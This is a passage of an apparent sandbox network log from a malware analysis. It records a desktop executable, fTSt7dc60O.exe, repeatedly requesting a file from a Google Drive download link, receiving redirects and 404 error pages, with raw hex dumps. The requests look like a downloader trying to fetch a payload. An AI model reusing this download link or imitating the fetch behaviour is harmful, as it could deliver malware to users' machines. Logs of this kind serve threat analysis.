2025-01-10 14:39:27 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:27 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-UInas9lethOfb0Pe_fC-Rg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	52164	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:27 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:28 UTC	1851	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgQyw8c0aB7IKG6fgmoi4mLTn6dLoR_190lO2KpaABfwgYJ2YVEvVovcC5Dwg-GikJMaFgwrIfc Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:28 GMT Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-Mabm5OnitgiM2uhjC9aruQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:39:28 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 48 75 69 33 70 4e 76 74 54 47 32 4e 7a 59 37 68 72 55 50 6e 43 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="Hui3pNvtTG2NzY7hrUPnCQ">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	52172	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:29 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:29 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:29 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-qZ0xFFcnRwNQBRZCzq0MYQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	52180	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:30 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:30 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgTbDWjoKmBbO6aCQISLuiQ7MrgbDoThX2g5OEXAH0mF79-45jnd-0eKfY0oa53So3zp Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:30 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-pkb7fki7ef9BTuVoMbMwvQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:39:30 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 41 69 64 6a 77 43 4e 6d 58 4d 6d 52 5f 66 6f 63 34 54 53 49 74 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="AidjwCNmXMmR_foc4TSItg">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	52186	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:31 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:31 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:31 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-2WJilx22vwE-3I2mNehwWw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	52192	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:32 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:32 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgT369MaVz7SBWW5aXPsFnbCZnmQdtHAOgoCTmGUNYQfg9o7bHeHXCgJ1M6nT8dQiAzh Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:32 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'nonce-4rdDBkOrW1OOWULK-x3XWg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:39:32 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 37 31 78 68 66 73 63 6c 43 46 39 6f 4d 65 4f 6f 59 58 57 34 33 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="71xhfsclCF9oMeOoYXW43A">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	52203	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:33 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:34 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:33 GMT Location: https://drive.usercontent.google.com/download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-2gk-K7YLXLtQtuGqE2y8qg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	52209	142.250.186.161	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:34 UTC	459	OUT	GET /download?id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
2025-01-10 14:39:35 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgQkmAeXebdqmTqi1yeU223BM4MhkOaYxpsVASarLDNC5tgdIZ_60Kp25UC08eSzoWHb Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 10 Jan 2025 14:39:34 GMT Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'nonce-M4JJoc1_47xTWYvAu-RR0A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-10 14:39:35 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 72 79 64 2d 49 43 61 45 6f 6a 65 58 57 46 4d 67 38 4d 43 7a 48 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="ryd-ICaEojeXWFMg8MCzHA">*{margin:0;padding:0}html,code{font:15px/22px arial

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.7	52212	172.217.18.14	443	4640	C:\Users\user\Desktop\fTSt7dc60O.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 14:39:35 UTC	417	OUT	GET /uc?export=download&id=17VEveFnKbLEpDjw_o-LRbwbJdNQXDVmZ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache Cookie: NID=520=T5uyjBS8M28aMPPil4JejxLt3vhmlr-6LKr4b-f-gEyXQEP7xyhQBkz0Sr1OFxXKeOgwkV1T-FRHrYKW_kjWUlc8zu-soSchKgBs4F02-gcAdPXLRfOv-o0aPu_fTU2jyl_CedEULM2K3xfWXIjb9bDrbBJkBAWYiMUhknSlML-duXtzJKqlesU
